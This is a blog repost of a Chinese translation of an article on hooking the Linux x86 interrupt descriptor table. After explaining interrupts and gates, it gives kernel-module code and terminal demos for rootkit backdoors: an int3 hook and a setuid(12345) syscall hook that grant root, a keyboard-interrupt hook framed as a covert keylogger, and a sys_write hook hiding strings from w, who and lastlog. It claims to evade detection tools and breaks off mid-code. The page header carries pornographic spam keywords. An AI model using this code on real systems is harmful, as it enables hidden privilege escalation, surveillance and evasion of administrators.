日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux HOOK

發布時間:2025/3/17 linux 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux HOOK 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0 - 前言
1 - 緒論
2 - 介紹
2.1 - 什么是中斷(interrupt)?
2.2 - 中斷和異常(exception)
2.3 - 中斷向量
2.4 - 什么是IDT?
3 - 異常
3.1 - 異常列表
3.2 - 當異常出現時會發生什么 ?
3.3 - 中斷鉤子(Hooking) by mammon
3.4 - 一般中斷鉤子
3.5 - profit鉤子 : 我們第一個后門
3.6 - fun鉤子
4 - 硬件中斷
4.1 - 它是如何工作的 ?
4.2 - 初始化和半底(bottom half)激活過程
4.3 - 鍵盤中斷鉤子
5 - 為系統調用安排的異常
5.1 - 系統調用列表
5.2 - 系統調用是如何工作的 ?
5.3 - profit鉤子
5.3.1 - sys_setuid鉤子
5.3.2 - sys_write鉤子
5.4 - fun鉤子
6 - CheckIDT
7 - 參考 & 致謝
8 - 附錄
前言:
看到這片文章就讓我想到LSD在5th Argus Hacking Challenge上的精彩表演。
只不過當時玩的是系統LDT漏洞,現在玩的是系統IDT后門。翻譯不妥的地方還請斧正,如果您
的英文比較好的話,還是看原文吧。
--[ 1 - 緒論
眾所周知,Intel x86 CPU能夠運行在兩種模式下:一種是實模式,一種是保護模式。
實模式我們就不討論了,現在所有的操作系統都使用的是保護模式來使內核和一般進程隔離。
保護模式提供4個不同的權限等級(ring0...ring3)。用戶應用程序在ring3,系統內核運行
在ring0.這使內核獲得了訪問所有CPU寄存器和硬件內存的權力。
在文中,我們將演示如何在Linux/x86上修改IDT。再進一步,我們將演示如何使用
一些技術重定向系統調用(象LKM做到的那樣)。
本文中的例子只來說明使用LKM把可執行代碼裝載到內核空間是件容易的事情。其他超出
本文討論范圍的技術也可以用來把可執行代碼裝載到內核空間或者用來隱藏內核模塊(就象
Spacewalker的方法一樣)。
CheckIDT是個有用的工具,它檢查IDT并且每5分鐘避免內核panic一次。
--[ 2 - 介紹
----[ 2.1 - 什么是中斷(interrupt)?
"中斷被定義為當一個事件發生時,改變處理器的指令序列。這樣的事件可由CPU芯片
內部或者外部硬件產生電信號產生"
(摘自: "Understanding the Linux kernel," O'Reilly publishing.)
----[ 2.2 - 中斷和異常(exception)
Intel參考手冊上指出“同步中斷”(在一個指令執行完成后,由CPU控制單元產生的)作為“異?!?。
異步中斷(可能會在任意時刻由其他硬件產生的)才稱為“中斷”。中斷被外部的I/O設備產生。
但是異常是由編程錯誤或者是由反常情況(必須由內核來處理)觸發的。在該文檔中,
術語“中斷信號”既指異常又指中斷。
中斷分為兩種類型:可屏蔽中斷--它在短時間片段里可被忽略;不可屏蔽中斷--它必須被立即處理。
不可屏蔽中斷是由緊急事件產生例如硬件失敗。著名的IRQS(中斷請求)失敗劃為可屏蔽中斷。
異常被分為不同的兩類:處理器產生的異常(Faults, Traps, Aborts)和編程安排的
異常(用匯編指令int or int3 觸發)。后一種就是我們經常說到的軟中斷。
----[ 2.3 - 中斷向量
每個中斷或者異常用一個0-255的數字識別。Intel稱這個數字為向量(vector).這些
數字如下分類:
- From 0 to 31 : 異常和不可屏蔽中斷
- From 32 to 47 : 可屏蔽中斷
- From 48 to 255 : 軟中斷
Linux只使用一個軟中斷(0x80)作為調用系統內核函數的系統調用接口。
硬件IRQs從IRQ0...IRQ15分別被關聯到了中斷向量32..47。
----[ 2.4 - 什么是IDT?
IDT = Interrupt Descriptor Table 中斷描述表
IDT是一個有256個入口的線形表,每個中斷向量關聯了一個中斷處理過程。
每個IDT的入口是個8字節的描述符,所以整個IDT表的大小為256*8=2048 bytes
IDT有三種不同的描述符或者說是入口:
- 任務門描述符 Task Gate Descriptor
Linux 沒有使用該類型描述符
- 中斷門描述符 Interrupt Gate Descriptor
63 48|47 40|39 32
+------------------------------------------------------------
| | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
| | |L|L| | | | | | | | |
=============================================================
| |
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
| |
------------------------------------------------------------+
31 16|15 0
- bits 0 to 15 : handler offset low
- bits 16 to 31 : segment selector
- bits 32 to 37 : reserved
- bits 37 to 39 : 0
- bits 40 to 47 : flags/type
- bits 48 to 63 : handler offset high
- 陷阱門描述符 Trap Gate Descriptor
同上,只是flag不同
flag 組成如下 :
- 5 bits for the type
interrupt gate : 1 1 1 1 0
trap gate : 0 1 1 1 0
- 2 bits for DPL
DPL = descriptor privilege level
- 1 bit reserved
Offset low和offset high組成了處理中斷函數的地址。當中斷發生時會直接跳到該
地址運行。本文的目標是改變那些地址并且讓我們自己的中斷處理函數執行
DPL=Descriptor Privilege Level
DPL等于0或者是3. 0是特權等級(內核模式). 當前的執行等級被保存在CPL寄存器中
(Current Privilege Level). 控制單元UC (Unit Of Control) 比較CPL中的值和IDT中斷
描述符中的DPL字段。假如DPL值大于(較小權限)或者等于CPL值,那么中斷處理過程被執行。
用戶應用程序在ring3(CPL==3)中執行。某些中斷在用戶態是不能夠被調用的。
IDT被BIOS程序首先初始化,但是當Linux得到控制權后,Linux自己又重新設置了IDT。
匯編指令lidt提供了初始化idtr寄存器---它包含了IDT的大小和IDT的地址。
然后setup_idt函數填充了256個IDT入口--使用了同樣的中斷門(ignore_int)。然后按照需要,
安裝正確的中斷門。
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
在idt寄存器指向的地址n位置插入一個中斷門。'addr'中存放中斷處理地址。
linux/arch/i386/kernel/irq.c
所有可屏蔽中斷和軟中斷被set_intr_gate初始化:
set_intr_gate :
#define FIRST_EXTERNAL_VECTOR 0x20
for (i = 0; i trap_gate
[root@redhat73 root]# grep c0108abc /boot/System.map
c0108abc T overflow
overflow -> system_gate
[root@redhat73 root]# grep c0100200 /boot/System.map
c0100200 t ignore_int
18到31 Intel保留
[root@redhat73 root]# grep c021e2ac /boot/System.map
c021e2ac r IRQ0x00_interrupt
device keyboard ->intr_gate
[root@redhat73 root]# grep c01088f0 /boot/System.map
c01088f0 T system_call
system call -> system_gate
注: checkIDT有個選項解析標號
--[ 3 - 異常
----[ 3.1 - 異常列表
--------------------------------------------------------------------------+
number | Exception | Exception Handler |
--------------------------------------------------------------------------+
0 | Divide Error | divide_error() |
1 | Debug | debug() |
2 | Nonmaskable Interrupt | nmi() |
3 | Break Point | int3() |
4 | Overflow | overflow() |
5 | Boundary verification | bounds() |
6 | Invalid operation code | invalid_op() |
7 | Device not available | device_not_available() |
8 | Double Fault | double_fault() |
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
10 | TSS not valid | invalid_tss() |
11 | Segment not present | segment_no_present() |
12 | stack exception | stack_segment() |
13 | General Protection | general_protection() |
14 | Page Fault | page_fault() |
15 | Reserved by Intel | none |
16 | Calcul Error with float virgul| coprocessor_error() |
17 | Alignement check | alignement_check() |
18 | Machine Check | machine_check() |
--------------------------------------------------------------------------+
異常被分為兩類:
- 處理器偵測的異常(DPL為0)
- 軟中斷(aka programmed exceptions) (DPL為3).
后者我們可在用戶態調用。
----[ 3.2 - 當異常出現時會發生什么 ?
當一個中斷發生,當前中斷的中斷處理函數被執行。該處理函數不是真正的處理異常函數,
它僅僅做個跳轉,跳轉到更好的處理函數。
異常 -----> 中間處理函數 -----> 真正的處理異常函數
entry.S 定義了所有的中間處理函數,也稱為通用處理函數或者是stub.
中間處理函數用asm寫的,后面真正的處理函數是用C寫的。
讓我們看看entry.S :
entry.S :
---------
**************************************************
ENTRY(nmi)
pushl $0
pushl $ SYMBOL_NAME(do_nmi)
jmp error_code
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
ENTRY(overflow)
pushl $0
pushl $ SYMBOL_NAME(do_overflow)
jmp error_code
ENTRY(divide_error)
pushl $0 # no error value/code
pushl $ SYMBOL_NAME(do_divide_error)
ALIGN
error_code:
pushl %ds
pushl %eax
xorl %eax,%eax
pushl %ebp
pushl %edi
pushl %esi
pushl %edx //保存寄存器值
decl %eax # eax = -1//設置eax為 -1.
pushl %ecx
pushl %ebx
cld
movl %es,%cx
movl ORIG_EAX(%esp), %esi # get the error value
movl ES(%esp), %edi # get the function address
//拷貝硬件錯誤值($esp + 36)和處理函數地址($esp + 32)分別到esi和edi中。
movl %eax, ORIG_EAX(%esp)
movl %ecx, ES(%esp) //把eax(現在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
movl %esp,%edx //保存stack頂的地址到edx中,然后把error_code值和edx放到stack中。
pushl %esi # push the error code
pushl %edx # push the pt_regs pointer
movl $(__KERNEL_DS),%edx
movl %dx,%ds
movl %dx,%es //把內核數據段選擇子放到ds和es寄存器中
GET_CURRENT(%ebx) //把當前進程描述結構的地址放到ebx中
call *%edi
addl $8,%esp
jmp ret_from_exception
**********************************************
解釋下上面的代碼:
所有的處理函數有同樣的結構(只有system_call和device_not_available是不同的):
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
Pushl $0 僅僅在某些異常中使用. 假設控制單元把異常的硬件錯誤值放到堆棧中。
有些異常不產生錯誤值所以用0代替。 最后一行跳轉到error_code
(細節看linux/arch/i386/kernel/entry.S).
錯誤值在異常中使用,是個asm的宏。
讓我們再繼續
異常 -----> 中間處理函數 ---> error_code宏 -----> 真正的處理異常函數
匯編代碼error_code執行片段:
1: 保存寄存器值
2: 設置eax為 -1.
3: 拷貝硬件錯誤值($esp + 36)和處理函數地址($esp + 32)分別到esi和edi中。
movl ORIG_EAX(%esp), %esi
movl ES(%esp), %edi
4: 把eax(現在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
5: 保存stack頂的地址到edx中,然后把error_code值和edx放到stack中。
6: 把內核數據段選擇子放到ds和es寄存器中
7: 把當前進程描述結構的地址放到ebx中
8: 這些參數放在stack中(例如硬件異常值,地址,還用戶模式進程的保存的寄存器值),將被C語言
的函數使用
9: 調用異常處理函數(函數地址放在edi中).
10: 最后兩個指令是為了異常的返回準備的
error_code將跳到適當的異常處理函數中。(具體細節看traps.c)
那些真正的異常處理函數是用C寫的。
讓我們拿一個異常處理函數作為一個具體的例子。比如不可屏蔽的nmi中斷處理函數。
注: 摘自traps.c
**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
unsigned char reason = inb(0x61);
extern atomic_t nmi_counter;
....
**************************************************************
asmlinkage是個宏,使用它是為了保持參數在stack中。因為從匯編語言到C語言代碼參數
的傳遞是通過stack的,它也可能從stack中得到一些不需要的參數。Asmlinkage將要
解析那些參數。
函數do_nmi得到pt_regs類型和error_code參數
pt_regs 在 /usr/include/asm/ptrace.h定義:
struct pt_regs {
long ebx;
long ecx;
long edx;
long esi;
long edi;
long ebp;
long eax;
int xds;
int xes;
long orig_eax;
long eip;
int xcs;
long eflags;
long esp;
int xss;
};
寄存器的一部分 被error_code代碼已經放到了stack中,其他的寄存器被UC在硬件等級下也
放到了stack中了。
該處理函數將處理異常并且會發一個信號到進程。
----[ 3.3 - 中斷鉤子(Hooking) by mammon
Mammon寫了一篇關于在linux如何hook中斷的文章。上面講到的技術和本文差不多。但本文
使用一種更通用更一般的方法來處理中斷。
讓我們拿int3看,這是個斷點(breakpoint)中斷。該handler/stub定義如下:
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
硬件錯誤值0和C函數處理地址被推到了stack中。接下來匯編代碼error_code被執行。
我們重寫了asm的處理函數,把我們自己的異常處理地址推到stack中來替代原來的處理函數(do_int3).
例如:
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
我們自己的asm處理函數看上去和原來的差不多。
- 我們在函數中使用匯編代碼使link更容易
- .globl my_stub, 假如我們這樣定義:in global : extern asmlinkage void my_stub();
這樣就允許我們調用my_stub代碼。
- align 4,0x90, 4字節對齊。在Intel處理器上是4字節對齊的。
- push ptr_handler(,1) , 符合gas語法風格
更多的關于inline匯編請參考 [1].
我們push我們自己的處理函數地址,跳到error_code代碼。
ptr_handler是我們C處理函數地址:
unsigned long ptr_handler=(unsigned long)&my_handler;
C 處理函數:
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
printk("Wowowo hijacking of int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
我們需要取回兩個參數,一個是寄存器指針,一個是err_code.
我們已經看到,前面error_code代碼已經push了這兩個參數。我們保存著老的處理函數地址。
在我們的處理函數里,我們打印出一些信息表示我們已經hooked了中斷并且重新調用老的處理函數。
該方法是典型的hook系統調用的方法。
old_handler地址多少 ?
#define do_int3 0xc010977c
unsigned long old_handler=do_int3;
do_int3 地址可以從 System.map 獲得。
更清楚些 :
asm Handler
----------------
push 0
push our handler
jmp to error_code
error_code
----------
do some operation
pop our handler address
jmp to our C handler
our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler
Real C Handler
-------------------
really deal with the interrupt
現在我們修正IDT中的描述符(offset_low and offset_high)來改變中斷處理函數的地址。
函數接受三個參數:要hook的中斷號,新處理函數地址,保存著老處理函數地址的指針。
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
struct descriptor_idt:
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
一個描述符長度為64 bits
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char : 8 bits (reserved and flag)
(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
我們感興趣的是offset_high和offset_low字段.我們需要修改它。
Hook_stub執行步驟:
1: 拷貝我們的處理函數地址到new_addr
2: 使idt變量指向第一個IDT描述符。
get_addr_idt()得到IDT地址.
3: 使用get_stub_from_idt我們可以保存老的處理函數的地址。
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
n = 要hook的中斷號. idte是包含該中斷的中斷描述符。
返回值為是中斷處理函數的地址,(void*) (32 bits)類型。
offset_high和offset_low都是16 bits, 這兩個值組合起來就是32位的,一個完整的
中斷處理函數地址。
4 : new_addr為我們的處理函數地址,也是32位的。
我們把new_addr 16 MSB放到offset_high,16 LSB放到offset_low。
改變中斷描述符中的offset_high和offset_low字段。
在附加CODE 1中有整個代碼。
為什么這個技術不是完美的?
盡管它不是太糟糕,但是不適合其他的中斷。在這里,我們允許所有的處理函數有
如下形式:
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
事實上,假如你看一下entry.S的話,看上去他們都是如上形式。但是,也不全是,想象下,
你要hook系統調用,或者是device_not_aivable處理函數甚至是硬件中斷....那么我們
該如何做呢?
----[ 3.4 - 一般中斷鉤子
我們將使用不同的技術來hook函數。請記住,處理函數是用C寫的,我們使用return返回到
真正的C處理函數內。
現在我們回頭asm的代碼。
簡單的處理函數:
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" call *%0 \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
在這里,我們調用我們自己的C處理函數,處理函數被執行并且接下來又跳回到原來的asm的處理函數。
我們的 C 處理函數 :
asmlinkage void my_function()
{
printk("Interrupt %i hijack \n",interrupt);
}
發生了什么 ?
我們用我們的匯編代碼改變了idt中某個中斷的地址。
當某個中斷被觸發時候調用過程
stub_kad()-------->hostile_code----->old_stub----->
error_code宏 -----> 真正的處理異常函數
::"m"(hostile_code),"m"(old_stub)
我們需要懂得一些inline asm匯編指令,下面是它的風格:
asm (
assembler instruction
: output operands
: input operands
: list of modified registers
);
我們可以使用asm或者__asm__指令。
關于一些inline的匯編指令請參考相關的資料,你也可以從這里得到一些相關資料
http://www.whitecell.org/forums/viewtopic.php?topic=989&forum=4&4
第一個有形的例子 :
bash-2.05# cat test.c
#include
int main ()
{
int a=8,b=0;
printf("A/B = %i\n",a/b);
return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
很好! 我們看到了"Interrupt hijack".
在該代碼中,我們使用了MODULE_PARM,它運行在插入模塊的時候傳參數進去。更多關于
MODULE_PARM的,請參閱"linux device drivers" from o'reilly [2] (chapter 2).
這就允許我們使用同一個模塊去hook不同的選擇的中斷。
----[ 3.5 - profit鉤子 : 我們第一個后門
該后門允許我們獲得root shell. C 處理函數將會給產生特定中斷的進程ROOT權限。
Asm 處理函數部分
------------
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
我們把當前進程描述(使用GET_CURRENT宏)傳遞到了C處理函數里。又跳回error_code代碼。
#define GET_CURRENT(reg) \
movl %esp, reg; \
andl $-8192, reg;
定義在entry.S.
注 : 我們也可以使用current替代
C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
p->uid=0;
p->gid=0;
}
}
我們定義了一個指針指向當前進程描述符(current process descriptor)。比較進程名。
我們沒必要給所有產生這個中斷的進程于ROOT權限。假如是我們的進程,給予新的權限。
"give_me_root"都是小寫字母,它產生個shell。
在產生shell之前需要先產生個斷點中斷,我們才會變成root權限。
演練 :
--------------
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#
/ in another shell //
sh-2.05$ cat give_me_root.c
#include
int main (int argc, char ** argv)
{
system("/bin/sh");
return 0;
}
sh-2.05$ gcc -o give_me_root give_me_root.c
[alert7@redhat73 alert7]$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
[alert7@redhat73 alert7]$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/alert7/give_me_root
Breakpoint 1, 0x08048406 in main ()
(gdb) c
Continuing.
sh-2.05a# id
uid=0(root) gid=0(root) groups=502(alert7)
OK,現在我們是ROOT了。hookstub-V0.2.c代碼在附件CODE 2
----[ 3.6 - fun鉤子
異常跟蹤器是比較感興趣的一個東西。例如我們可以hook所有的異常來打印出哪個異常是由哪個
進程觸發的。我們也能在任何時候知道誰干了什么。我們也可以打印出寄存器的值。
在arch/i386/kernel/process.c中有個函數show_regs就是完成這個功能。
void show_regs(struct pt_regs * regs)
{
long cr0 = 0L, cr2 = 0L, cr3 = 0L;
printk("\n");
printk("EIP: %04x:[]",0xffff & regs->xcs,regs->eip);
if (regs->xcs & 3)
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
printk(" EFLAGS: %08lx\n",regs->eflags);
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
regs->eax,regs->ebx,regs->ecx,regs->edx);
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
regs->esi, regs->edi, regs->ebp);
printk(" DS: %04x ES: %04x\n",
0xffff & regs->xds,0xffff & regs->xes);
__asm__("movl %%cr0, %0": "=r" (cr0));
__asm__("movl %%cr2, %0": "=r" (cr2));
__asm__("movl %%cr3, %0": "=r" (cr3));
printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}
你可以在每次異常的時候調用該函數打印寄存器值。
有時,改變asm處理函數是比較危險的,所以真正的C處理函數可以不被執行。處理器產生異常的
時候不會收到例如SIGSTOP或者SIGSEGV的信號。在某些情況,這會是很有用的。
--[ 4 - 硬件中斷
----[ 4.1 - 它是如何工作的 ?
我們也可以使用同樣的方法hook IRQs產生的中斷,但是hook它們就沒多大意義了(說不定
你有好注意哦,告訴我哈)。在這,我們將hook 中斷33鍵盤中斷。有個問題是該中斷發生好
多次。處理函數很短時間被執行好多次,所以處理函數要快而不能阻塞了系統。為了避免這個,
我們將使用半底(bottom half).那些優先權小點的半底函數大部分情況適合中斷處理。kernel
等待合適的時候調用它們。在半底執行中,其他的中斷是不被屏蔽的。
以下情況,等待的半底將被執行:
- kernel處理完系統調用syscall
- kernel處理完一個異常
- kernel處理完一個中斷
- kernel為了選擇新進程而調用schedule()函數
在處理器返回到用戶模式前,它們將會被執行。
所以,半底是很有用的,確保一個中斷的快速處理。
下面是LINUX使用的半底
----------------+-------------------------------+
Bottom half | Peripheral equipment |
----------------+-------------------------------+
CONSOLE_BH | Virtual console |
IMMEDIATE_BH | Immediate tasks file |
KEYBOARD_BH | Keyboard |
NET_BH | Network interface |
SCSI_BH | SCSI interface |
TIMER_BH | Clock |
TQUEUE_BH | Periodic tasks queue |
... | |
----------------+-------------------------------+
呵呵,好象跑題了,研究半底不是本文的目的。具體關于這個題目的文章請看
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
IRQ 列表
--------
警告 ! : 為同樣的IRQs來說中斷號不總是相同的!
----+---------------+----------------------------------------
IRQ | Interrupt | Peripheral equipment
----+---------------+----------------------------------------
0 | 32 | Timer
1 | 33 | Keyboard
2 | 34 | PIC cascade
3 | 35 | Second serial port
4 | 36 | First serial port
6 | 37 | Floppy drive
8 | 40 | System clock
11 | 43 | Network interface
12 | 44 | PS/2 mouse
13 | 45 | Mathematic coprocessor
14 | 46 | First EIDE disk controller
15 | 47 | Second EIDE disk controller
----+---------------+----------------------------------------
----[ 4.2 - 初始化和半底(bottom half)激活過程
半底需要使用init_bh(n,routine)函數初始化,該函數把函數地址插入bh_base的第n個
入口(bh_base保存著半底部分的一個數組)。但它被初始化后,它才可以被激活和執行。函數
mark_bh(n)用來激活中斷的底半部分。
所有中斷的底半部分用tq_struct類型中的元素把它們連接起來。
struct tq_struct {
struct tq_struct *next; /* linked list of active bh's */
unsigned long sync; /* must be initialized to zero */
void (*routine)(void *); /* function to call */
void *data; /* argument to function */
};
宏DELACRE_TASK_QUEUE(name,fonction,data)允許我們聲明一個tasklet,
它將被插入任務隊列(使用函數queue_task)。這里有幾個任務隊列,我們敢興趣的是
tq_immediate隊列,該隊列在半底IMMEDIATE_BH執行(immediate隊列).
(include/linux/tqueue.h)
----[ 4.3 - 鍵盤中斷鉤子
當我們擊一鍵時,中斷發生兩次。一次是我們push一個key的時候,一次是釋放一個鍵的時候。
以下代碼每10次中斷顯示個message,假如擊了5次鍵,那么message將出現。
asm處理函數同3.4,這里我們就不顯示了
Code
----
...
struct Variable
{
int entier;
char chaine[10];
};
...
static void evil_fonction(void * status)
{
struct Variable *var = (struct Variable * )status;
nb++;
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
nb,var->entier,var->chaine);
}
...
asmlinkage void my_function()
{
static struct Variable variable;
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
variable.entier=3;
strcpy(variable.chaine,"haha hijacked key :) ");
queue_task(&my_task,&tq_immediate);
mark_bh(IMMEDIATE_BH);
}
我們定義了一個tasklet my_task,使用我們的函數和參數初始化。因為tasklet允許我們
僅使用一個參數,所以我們使用了結構地址。這將允許我們幾個參數。我們把該tasklet加到
tq_immediate列表(使用queue_task)。最后,使用mark_bh激活底部分IMMEDIATE_BH。
mark_bh(IMMEDIATE_BH)
我們必須激活IMMEDIATE_BH,它處理任務隊列'tq_immediate' 。當請求的時間觸發時候,
evil_function函數將被執行(listed in part 4.1)
evil_function僅僅10次中斷顯示一個message.我們有效的hook了鍵盤中斷。我們可以使用該
方法寫個內核鍵盤記錄器。這個將非常的隱蔽,因為它是在中斷級別的。在這里(我沒有用代碼實現)
我們可以知道哪個key被擊中了。為了做這個,我們可以使用函數inb()來讀I/O端口。系統里有
65536個I/O端口(8 bits ports). 2個8 bits ports組成一個16 位的 ports,2個16位的ports
組成一個32位的 ports.
inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
所以,我么能使用inb函數讀鍵盤掃描碼scancode和鍵盤狀態status(壓下,釋放鍵盤)。
不幸的是,我不敢確定要讀的端口。掃描碼的端口可能是0x60,狀態端口可能是0x64吧.
scancode=inb(0x60);
status=inb(0x64);
scancode值和鍵擊的key有著一個轉換關系,作者不能確定到底是如何轉換的。
假如有人知道或者有人想發展這個的話,請聯系作者
--[ 5 - 為系統調用安排的異常
----[ 5.1 - 系統調用列表
你可以在下列rul中找到一個所有的系統調用的列表 :
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
注 : 小心,在2.2.* 和 2.4.* kernels之間系統調用號是不一樣的。
----[ 5.2 - 系統調用是如何工作的 ?
在這里,我們也hook了syscalls.當系統調用被調用時,所有的參數都是在寄存器中。
eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param
假如參數超過5的話(象mmap系統調用有6個參數),簡單的寄存器用來指向內存區,該區包含了
那些參數。
我們得到那些變量就象前面structure pt_regs一樣. 我們在IDT等級hook系統調用,而
不是hook syscall_table. kstat和其他所有當前可用的LKM偵測工具都將失敗。
----[ 5.3 - profit鉤子
------[ 5.3.1 - sys_setuid鉤子
SYS_SETUID:
-----------
EAX: 213
EBX: uid
我們來看一個簡單的例子,又一個小后門。跟前面的3.5中的差不多,只是在這里,我們使用的是
hook syscall setuid.
asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare if it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall,
//put top stack address on stack :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
- 保存所有寄存器
- 比較是否是我們hook的sys_number
- 假如是,我們把esp值和當前進程描述put到堆棧中。
- 調用我們的C函數,在返回的時候,我們pop了8個字節(eax + edx).
- finis : 彈出所有的寄存器值,然后我們調用真正的處理函數。
通過改變sys_number值, 我們可以hook任何的系統調用
C handler
----------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
if (regs->ebx == 12345 )
{
my_task->uid=0;
my_task->gid=0;
my_task->suid=1000;
}
}
我們通過pt_regs結構得到寄存器值并且得到current描述符的地址。我們比較ebx值是否為12345,假如
是的話,我們設置uid和gid為0。
練習 :
--------------
bash-2.05$ cat setuid.c
#include
int main (int argc,char ** argv)
{
setuid(12345);
system("/bin/sh");
return 0;
}
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
OK,我們是ROOT了,該技術可以適應到任何的系統調用。
------[ 5.3.2 - sys_write鉤子
SYS_WRITE:
----------
EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send
我們將hook sys_write來替換一個字符串。然后,我們也可以替換整個系統的。
asm處理函數部分跟在 5.3.1 相同
C handler
----------
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
strcmp(my_task->comm,"lastlog")==0 ||
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
